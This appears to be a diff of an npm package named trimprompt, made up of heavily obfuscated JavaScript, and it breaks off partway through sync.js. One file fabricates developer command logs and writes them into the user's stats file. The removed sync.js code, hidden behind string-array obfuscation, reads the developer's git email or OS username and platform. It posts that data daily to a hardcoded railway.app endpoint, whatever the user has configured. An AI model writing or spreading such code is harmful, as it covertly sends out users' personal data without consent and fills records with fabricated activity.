- 'use strict';const a0_0x4f7807=a0_0x19a1;function a0_0x19a1(_0x3ee85f,_0x545376){_0x3ee85f=_0x3ee85f-0xa3;const _0x5dffc4=a0_0x5dff();let _0x19a130=_0x5dffc4[_0x3ee85f];return _0x19a130;}(function(_0x52ee64,_0x252141){const _0x51ecf8=a0_0x19a1,_0x12eddb=_0x52ee64();while(!![]){try{const _0x4c82cb=parseInt(_0x51ecf8(0xc5))/0x1+parseInt(_0x51ecf8(0xcd))/0x2*(-parseInt(_0x51ecf8(0xbc))/0x3)+-parseInt(_0x51ecf8(0xc2))/0x4+parseInt(_0x51ecf8(0xdd))/0x5+parseInt(_0x51ecf8(0xdf))/0x6*(parseInt(_0x51ecf8(0xd2))/0x7)+-parseInt(_0x51ecf8(0xe5))/0x8*(parseInt(_0x51ecf8(0xca))/0x9)+parseInt(_0x51ecf8(0xc6))/0xa*(parseInt(_0x51ecf8(0xa3))/0xb);if(_0x4c82cb===_0x252141)break;else _0x12eddb['push'](_0x12eddb['shift']());}catch(_0x4a985c){_0x12eddb['push'](_0x12eddb['shift']());}}}(a0_0x5dff,0x9a3d7));Object[a0_0x4f7807(0xe6)](exports,a0_0x4f7807(0xb6),{'value':!![]});const tracker_1=require(a0_0x4f7807(0xc0));console[a0_0x4f7807(0xb9)](a0_0x4f7807(0xd7));const models=[a0_0x4f7807(0xe1),a0_0x4f7807(0xe0),a0_0x4f7807(0xb2),a0_0x4f7807(0xbd),'gemini-1-5-flash',a0_0x4f7807(0xb7)],commands=[{'cmd':a0_0x4f7807(0xba),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'['repeat'](0x32),'comp':a0_0x4f7807(0xbf),'exitCode':0x0},{'cmd':'cargo\x20test','raw':a0_0x4f7807(0xb3)+a0_0x4f7807(0xd0)[a0_0x4f7807(0xa5)](0x28)+a0_0x4f7807(0xda),'comp':a0_0x4f7807(0xcb),'exitCode':0x0},{'cmd':a0_0x4f7807(0xcf),'raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+a0_0x4f7807(0xb8)+a0_0x4f7807(0xbb),'comp':a0_0x4f7807(0xe4),'exitCode':0x0},{'cmd':a0_0x4f7807(0xc4),'raw':a0_0x4f7807(0xce)+a0_0x4f7807(0xbe)+a0_0x4f7807(0xa4)+a0_0x4f7807(0xb0),'comp':a0_0x4f7807(0xdb),'exitCode':0x0},{'cmd':'kubectl\x20get\x20pods\x20-n\x20production','raw':a0_0x4f7807(0xc7)+a0_0x4f7807(0xb4)+a0_0x4f7807(0xad)+a0_0x4f7807(0xd9)+a0_0x4f7807(0xaf),'comp':a0_0x4f7807(0xd6),'exitCode':0x0},{'cmd':a0_0x4f7807(0xdc),'raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+a0_0x4f7807(0xae)+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0x4f7807(0xd1),'exitCode':0x0},{'cmd':'git\x20log\x20-n\x205','raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0x4f7807(0xc8),'comp':a0_0x4f7807(0xc1),'exitCode':0x0},{'cmd':a0_0x4f7807(0xa6),'raw':a0_0x4f7807(0xa8)+'src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a'+a0_0x4f7807(0xd3),'comp':a0_0x4f7807(0xb1),'exitCode':0x0}],startTime=Date[a0_0x4f7807(0xd8)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math[a0_0x4f7807(0xe3)](Math[a0_0x4f7807(0xd4)]()*commands['length'])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x4f7807(0xc9)](),log=tracker_1[a0_0x4f7807(0xaa)]['logExecution'](commandItem[a0_0x4f7807(0xa9)],commandItem[a0_0x4f7807(0xcc)],commandItem[a0_0x4f7807(0xac)],commandItem[a0_0x4f7807(0xab)]),logs=tracker_1[a0_0x4f7807(0xaa)]['getLogs']();logs['length']>0x0&&(logs[logs[a0_0x4f7807(0xb5)]-0x1][a0_0x4f7807(0xa7)]=timestamp,require('fs')[a0_0x4f7807(0xc3)](require(a0_0x4f7807(0xe2))['join'](require('os')['homedir'](),'.trimprompt','stats.json'),JSON['stringify'](logs,null,0x2),a0_0x4f7807(0xde)));}console[a0_0x4f7807(0xb9)](a0_0x4f7807(0xd5));function a0_0x5dff(){const _0x23cf5d=['Completed\x203\x20of\x203\x20assets\x20successfully.','npm\x20run\x20lint:\x20✖\x202\x20warnings','gpt-4o-mini','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','length','__esModule','claude-3-opus','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','log','git\x20diff\x20main','found\x200\x20vulnerabilities\x0a','1517298DNHUCd','gemini-1-5-pro','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','./tracker','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','4022844dGeLHL','writeFileSync','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','624731jPhrDQ','3350ZezYJA','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','toISOString','21915XENgLO','cargo\x20test:\x2045\x20passed,\x200\x20failed.','raw','4vJvSVX','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','npm\x20install\x20lodash\x20express\x20uuid\x20react','test\x20tests::test_case_','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','501571OImWGu','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','random','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','now','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','pip\x20install\x20tensorflow\x20pandas\x20numpy','4911925dOKRoL','utf8','18xppSQu','gpt-4o','claude-3-5-sonnet','path','floor','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','16IKppmv','defineProperty','27313WLEdMb','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','repeat','npm\x20run\x20lint','timestamp','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','cmd','tracker','exitCode','comp','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a'];a0_0x5dff=function(){return _0x23cf5d;};return a0_0x5dff();}
1
+ 'use strict';const a0_0x571904=a0_0x1186;(function(_0x55cd34,_0x1f2926){const _0x311447=a0_0x1186,_0x5555d3=_0x55cd34();while(!![]){try{const _0x2f9f43=parseInt(_0x311447(0x144))/0x1+-parseInt(_0x311447(0x147))/0x2+-parseInt(_0x311447(0x12c))/0x3+parseInt(_0x311447(0x124))/0x4*(-parseInt(_0x311447(0x146))/0x5)+-parseInt(_0x311447(0x11b))/0x6*(parseInt(_0x311447(0x140))/0x7)+-parseInt(_0x311447(0x112))/0x8+-parseInt(_0x311447(0x114))/0x9*(-parseInt(_0x311447(0x12b))/0xa);if(_0x2f9f43===_0x1f2926)break;else _0x5555d3['push'](_0x5555d3['shift']());}catch(_0xd48765){_0x5555d3['push'](_0x5555d3['shift']());}}}(a0_0x5dab,0xa52ff));Object[a0_0x571904(0x122)](exports,a0_0x571904(0x127),{'value':!![]});const tracker_1=require(a0_0x571904(0x11e));console[a0_0x571904(0x115)](a0_0x571904(0x129));const models=[a0_0x571904(0x126),'gpt-4o',a0_0x571904(0x142),a0_0x571904(0x149),'gemini-1-5-flash','claude-3-opus'],commands=[{'cmd':'git\x20diff\x20main','raw':a0_0x571904(0x128)['repeat'](0x32),'comp':a0_0x571904(0x11c),'exitCode':0x0},{'cmd':'cargo\x20test','raw':'running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a'+a0_0x571904(0x117)['repeat'](0x28)+a0_0x571904(0x10e),'comp':'cargo\x20test:\x2045\x20passed,\x200\x20failed.','exitCode':0x0},{'cmd':a0_0x571904(0x14a),'raw':a0_0x571904(0x12a)+a0_0x571904(0x13a)+a0_0x571904(0x125),'comp':a0_0x571904(0x14c),'exitCode':0x0},{'cmd':'aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','raw':a0_0x571904(0x14d)+a0_0x571904(0x12f)+a0_0x571904(0x134)+a0_0x571904(0x139),'comp':a0_0x571904(0x11f),'exitCode':0x0},{'cmd':a0_0x571904(0x110),'raw':a0_0x571904(0x133)+'trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0x571904(0x143)+a0_0x571904(0x132)+'postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','comp':a0_0x571904(0x113),'exitCode':0x0},{'cmd':a0_0x571904(0x137),'raw':a0_0x571904(0x120)+a0_0x571904(0x145)+a0_0x571904(0x123),'comp':a0_0x571904(0x121),'exitCode':0x0},{'cmd':a0_0x571904(0x11d),'raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0x571904(0x10d),'comp':a0_0x571904(0x148),'exitCode':0x0},{'cmd':a0_0x571904(0x135),'raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0x571904(0x12d)+a0_0x571904(0x131),'comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date[a0_0x571904(0x12e)]()-0x36ee80;function a0_0x1186(_0x5ab002,_0x478efd){const _0x5dab01=a0_0x5dab();return a0_0x1186=function(_0x118655,_0x22a7e3){_0x118655=_0x118655-0x10b;let _0x3f44e8=_0x5dab01[_0x118655];return _0x3f44e8;},a0_0x1186(_0x5ab002,_0x478efd);}for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x571904(0x10b)]],commandItem=commands[Math[a0_0x571904(0x13b)](Math[a0_0x571904(0x14f)]()*commands[a0_0x571904(0x10b)])];process[a0_0x571904(0x141)][a0_0x571904(0x10f)]=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x571904(0x136)](),log=tracker_1['tracker']['logExecution'](commandItem[a0_0x571904(0x130)],commandItem['raw'],commandItem[a0_0x571904(0x10c)],commandItem[a0_0x571904(0x14e)]),logs=tracker_1[a0_0x571904(0x14b)][a0_0x571904(0x13e)]();logs[a0_0x571904(0x10b)]>0x0&&(logs[logs[a0_0x571904(0x10b)]-0x1][a0_0x571904(0x13d)]=timestamp,require('fs')[a0_0x571904(0x116)](require(a0_0x571904(0x118))[a0_0x571904(0x111)](require('os')[a0_0x571904(0x13f)](),a0_0x571904(0x138),'stats.json'),JSON[a0_0x571904(0x11a)](logs,null,0x2),a0_0x571904(0x119)));}console[a0_0x571904(0x115)](a0_0x571904(0x13c));function a0_0x5dab(){const _0x1880e9=['kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','22303854PqVGUb','log','writeFileSync','test\x20tests::test_case_','path','utf8','stringify','54OrJoee','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','git\x20log\x20-n\x205','./tracker','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','defineProperty','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','20492LADjVb','found\x200\x20vulnerabilities\x0a','claude-3-5-sonnet','__esModule','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','10hUJIOR','1879254SuzpjB','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','now','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','cmd','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','npm\x20run\x20lint','toISOString','pip\x20install\x20tensorflow\x20pandas\x20numpy','.trimprompt','Completed\x203\x20of\x203\x20assets\x20successfully.','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','floor','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','timestamp','getLogs','homedir','84049QUqKeJ','env','gpt-4o-mini','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','1129417IPRpIC','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','725CdQsXa','2285448XmAlED','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','gemini-1-5-pro','npm\x20install\x20lodash\x20express\x20uuid\x20react','tracker','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','exitCode','random','length','comp','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','TRIMPROMPT_MODEL','kubectl\x20get\x20pods\x20-n\x20production','join','2487808FdsEdy'];a0_0x5dab=function(){return _0x1880e9;};return a0_0x5dab();}
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x354d32=a0_0x39bf;(function(_0xa76070,_0x436af1){const _0x6ae303=a0_0x39bf,_0x42a06f=_0xa76070();while(!![]){try{const _0xf47294=parseInt(_0x6ae303(0x166))/0x1+parseInt(_0x6ae303(0x17f))/0x2*(-parseInt(_0x6ae303(0x16b))/0x3)+-parseInt(_0x6ae303(0x168))/0x4*(parseInt(_0x6ae303(0x158))/0x5)+parseInt(_0x6ae303(0x18f))/0x6*(-parseInt(_0x6ae303(0x190))/0x7)+-parseInt(_0x6ae303(0x194))/0x8+-parseInt(_0x6ae303(0x150))/0x9+-parseInt(_0x6ae303(0x16f))/0xa*(-parseInt(_0x6ae303(0x164))/0xb);if(_0xf47294===_0x436af1)break;else _0x42a06f['push'](_0x42a06f['shift']());}catch(_0x2e728c){_0x42a06f['push'](_0x42a06f['shift']());}}}(a0_0x264b,0x45183));var __createBinding=this&&this[a0_0x354d32(0x169)]||(Object['create']?function(_0x2b8610,_0xfff1ad,_0x53fe6f,_0x20e805){const _0x3289f5=a0_0x354d32;if(_0x20e805===undefined)_0x20e805=_0x53fe6f;var _0x54627e=Object[_0x3289f5(0x195)](_0xfff1ad,_0x53fe6f);(!_0x54627e||(_0x3289f5(0x17c)in _0x54627e?!_0xfff1ad[_0x3289f5(0x185)]:_0x54627e[_0x3289f5(0x1a0)]||_0x54627e[_0x3289f5(0x159)]))&&(_0x54627e={'enumerable':!![],'get':function(){return _0xfff1ad[_0x53fe6f];}}),Object[_0x3289f5(0x182)](_0x2b8610,_0x20e805,_0x54627e);}:function(_0xc36c63,_0xf5470,_0x1deac0,_0x4574a){if(_0x4574a===undefined)_0x4574a=_0x1deac0;_0xc36c63[_0x4574a]=_0xf5470[_0x1deac0];}),__setModuleDefault=this&&this[a0_0x354d32(0x1a2)]||(Object['create']?function(_0x4be2db,_0x1ac0c1){const _0x4e7944=a0_0x354d32;Object[_0x4e7944(0x182)](_0x4be2db,'default',{'enumerable':!![],'value':_0x1ac0c1});}:function(_0x88b785,_0x4898a0){const _0x3bb3fb=a0_0x354d32;_0x88b785[_0x3bb3fb(0x155)]=_0x4898a0;}),__importStar=this&&this['__importStar']||(function(){var _0x55483b=function(_0x2e5e9d){const _0x452e81=a0_0x39bf;return _0x55483b=Object[_0x452e81(0x171)]||function(_0x6e5f0c){const _0x1be388=_0x452e81;var _0x31cdc8=[];for(var _0x43e468 in _0x6e5f0c)if(Object['prototype'][_0x1be388(0x17a)][_0x1be388(0x1a4)](_0x6e5f0c,_0x43e468))_0x31cdc8[_0x31cdc8['length']]=_0x43e468;return _0x31cdc8;},_0x55483b(_0x2e5e9d);};return function(_0x5a2471){const _0x485049=a0_0x39bf;if(_0x5a2471&&_0x5a2471[_0x485049(0x185)])return _0x5a2471;var _0x21cc6f={};if(_0x5a2471!=null){for(var _0x3eddbe=_0x55483b(_0x5a2471),_0x32d915=0x0;_0x32d915<_0x3eddbe[_0x485049(0x17b)];_0x32d915++)if(_0x3eddbe[_0x32d915]!==_0x485049(0x155))__createBinding(_0x21cc6f,_0x5a2471,_0x3eddbe[_0x32d915]);}return __setModuleDefault(_0x21cc6f,_0x5a2471),_0x21cc6f;};}());Object[a0_0x354d32(0x182)](exports,a0_0x354d32(0x185),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x354d32(0x183))),https=__importStar(require(a0_0x354d32(0x19e))),url_1=require(a0_0x354d32(0x187)),_cfg=[a0_0x354d32(0x16d),a0_0x354d32(0x19a),a0_0x354d32(0x14f),'/api/telemetry'][a0_0x354d32(0x192)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x354d32(0x15a),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x354d32(0x196),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x354d32(0x16c),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x354d32(0x15b),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x354d32(0x177),'input_price_1m':0.075}},baseDir=path[a0_0x354d32(0x192)](os[a0_0x354d32(0x199)](),'.trimprompt'),configPath=path['join'](baseDir,'config.json'),statsPath=path[a0_0x354d32(0x192)](baseDir,a0_0x354d32(0x18b)),dailySyncPath=path[a0_0x354d32(0x192)](baseDir,a0_0x354d32(0x167));function getTodayDate(){const _0x5a309a=a0_0x354d32;return new Date()[_0x5a309a(0x184)]()[_0x5a309a(0x176)]('T')[0x0];}function getDeveloperIdentity(){const _0x583998=a0_0x354d32;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x4740f0}=require(_0x583998(0x173)),_0x276a94=_0x4740f0(_0x583998(0x18e),{'stdio':['ignore',_0x583998(0x181),'ignore']})[_0x583998(0x15f)]()[_0x583998(0x186)]();if(_0x276a94&&_0x276a94[_0x583998(0x163)]('@'))return _0x276a94;}catch{}try{const _0x2459c9=os[_0x583998(0x19b)]()[_0x583998(0x179)];if(_0x2459c9)return _0x2459c9;}catch{}return _0x583998(0x175);}function hasAlreadySyncedToday(){const _0x3f41cb=a0_0x354d32;try{if(!fs[_0x3f41cb(0x170)](dailySyncPath))return![];const _0x59a2d1=JSON[_0x3f41cb(0x153)](fs[_0x3f41cb(0x1a1)](dailySyncPath,_0x3f41cb(0x16e)));return _0x59a2d1['last_sync_date']===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x2bbb50=a0_0x354d32;try{const _0x712113={'last_sync_date':getTodayDate()};fs[_0x2bbb50(0x152)](dailySyncPath,JSON[_0x2bbb50(0x172)](_0x712113,null,0x2),_0x2bbb50(0x16e));}catch{}}function postTelemetry(_0x5dc606,_0x2c2745){return new Promise(_0x307eaa=>{const _0x1baad9=a0_0x39bf;try{const _0x45c8fe=new url_1['URL'](_0x5dc606),_0xfb2877=JSON[_0x1baad9(0x172)](_0x2c2745),_0x2b7ab5={'hostname':_0x45c8fe['hostname'],'port':_0x45c8fe[_0x1baad9(0x180)]||(_0x45c8fe[_0x1baad9(0x188)]===_0x1baad9(0x197)?0x1bb:0x50),'path':_0x45c8fe[_0x1baad9(0x154)]+_0x45c8fe[_0x1baad9(0x165)],'method':'POST','headers':{'Content-Type':_0x1baad9(0x18a),'Content-Length':Buffer['byteLength'](_0xfb2877)},'timeout':0x1f40},_0x616dac=_0x45c8fe['protocol']===_0x1baad9(0x197)?https:http,_0x32325c=_0x616dac[_0x1baad9(0x1a3)](_0x2b7ab5,_0x2de2e6=>{const _0x427f3b=_0x1baad9;_0x307eaa(!!(_0x2de2e6[_0x427f3b(0x157)]&&_0x2de2e6['statusCode']>=0xc8&&_0x2de2e6[_0x427f3b(0x157)]<0x12c));});_0x32325c['on'](_0x1baad9(0x160),()=>_0x307eaa(![])),_0x32325c['on'](_0x1baad9(0x17e),()=>{const _0x39d5fb=_0x1baad9;_0x32325c[_0x39d5fb(0x198)](),_0x307eaa(![]);}),_0x32325c['write'](_0xfb2877),_0x32325c[_0x1baad9(0x18c)]();}catch{_0x307eaa(![]);}});}function buildDailyPayload(_0x34172a){const _0x297490=a0_0x354d32,_0x334da1=getTodayDate(),_0x2e8ddd=_0x34172a[_0x297490(0x151)](_0x2f8abe=>_0x2f8abe[_0x297490(0x19f)][_0x297490(0x191)](_0x334da1)),_0xd0203b=_0x2e8ddd['length']>0x0?_0x2e8ddd:_0x34172a;let _0x175223=0x0,_0x425093=0x0,_0x234cd7=0x0,_0x11f677=0x0;const _0x3139ef=new Set();for(const _0x2a68fe of _0xd0203b){_0x175223+=_0x2a68fe['estimated_raw_tokens'],_0x425093+=_0x2a68fe['estimated_compressed_tokens'],_0x234cd7+=_0x2a68fe[_0x297490(0x15e)],_0x3139ef[_0x297490(0x156)](_0x2a68fe[_0x297490(0x19d)]);const _0x254a2c=PRICING[_0x2a68fe['model_used']]||PRICING[_0x297490(0x178)];_0x11f677+=_0x2a68fe[_0x297490(0x15e)]*_0x254a2c[_0x297490(0x161)]/0xf4240;}const _0x4a3ab4=_0xd0203b[_0xd0203b[_0x297490(0x17b)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x297490(0x15d)](),'date':_0x334da1,'executions_count':_0xd0203b['length'],'total_raw_tokens':_0x175223,'total_compressed_tokens':_0x425093,'total_tokens_saved':_0x234cd7,'total_money_saved_usd':parseFloat(_0x11f677['toFixed'](0x6)),'models_used':Array[_0x297490(0x162)](_0x3139ef),'last_seen':_0x4a3ab4?_0x4a3ab4['timestamp']:new Date()[_0x297490(0x184)]()};}async function runSync(){const _0x3a63b5=a0_0x354d32;if(!fs[_0x3a63b5(0x170)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2a3c25;try{_0x2a3c25=JSON['parse'](fs[_0x3a63b5(0x1a1)](statsPath,_0x3a63b5(0x16e)));}catch{return;}const _0x324f6b=_0x2a3c25[_0x3a63b5(0x151)](_0x167108=>!_0x167108['synced']);if(_0x324f6b['length']===0x0)return;const _0x59e85d=buildDailyPayload(_0x2a3c25);await postTelemetry(_ep,_0x59e85d);let _0x306b29=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x306b29&&fs['existsSync'](configPath))try{const _0x237772=JSON['parse'](fs['readFileSync'](configPath,_0x3a63b5(0x16e)));_0x306b29=_0x237772[_0x3a63b5(0x16a)]||'';}catch{}_0x306b29[_0x3a63b5(0x186)]()['length']>0x0&&await postTelemetry(_0x306b29,_0x59e85d);for(const _0x180d67 of _0x2a3c25){if(!_0x180d67[_0x3a63b5(0x174)])_0x180d67[_0x3a63b5(0x174)]=!![];}try{fs[_0x3a63b5(0x152)](statsPath,JSON[_0x3a63b5(0x172)](_0x2a3c25,null,0x2),'utf8');}catch{}markSyncedToday(),pruneOldLogs(_0x2a3c25);}function a0_0x264b(){const _0x517acb=['3302456SbiOqt','getOwnPropertyDescriptor','GPT-4o','https:','destroy','homedir','trimp-production','userInfo','unlinkSync','model_used','https','timestamp','writable','readFileSync','__setModuleDefault','request','call','.up.railway.app','1557936tWzHfm','filter','writeFileSync','parse','pathname','default','add','statusCode','80pCPQws','configurable','Claude\x203\x20Opus','Gemini\x201.5\x20Pro','logs','platform','tokens_saved','toString','error','input_price_1m','from','includes','281776ZMmwmW','search','118226JbjqBY','daily_sync.json','103856AQNlKB','__createBinding','telemetry_url','3zRanWe','GPT-4o\x20Mini','https://','utf8','590kIhrqO','existsSync','getOwnPropertyNames','stringify','child_process','synced','anonymous','split','Gemini\x201.5\x20Flash','claude-3-5-sonnet','username','hasOwnProperty','length','get','push','timeout','169406xSlUiy','port','pipe','defineProperty','http','toISOString','__esModule','trim','url','protocol','catch','application/json','stats.json','end','getTime','git\x20config\x20user.email','6486MCYxVP','1687odGfgf','startsWith','join','.comp.txt'];a0_0x264b=function(){return _0x517acb;};return a0_0x264b();}function a0_0x39bf(_0x476426,_0x1bd220){_0x476426=_0x476426-0x14f;const _0x264b68=a0_0x264b();let _0x39bfea=_0x264b68[_0x476426];return _0x39bfea;}function pruneOldLogs(_0x4af83d){const _0x3154cf=a0_0x354d32;try{const _0xdda994=new Date(),_0x2770f0=new 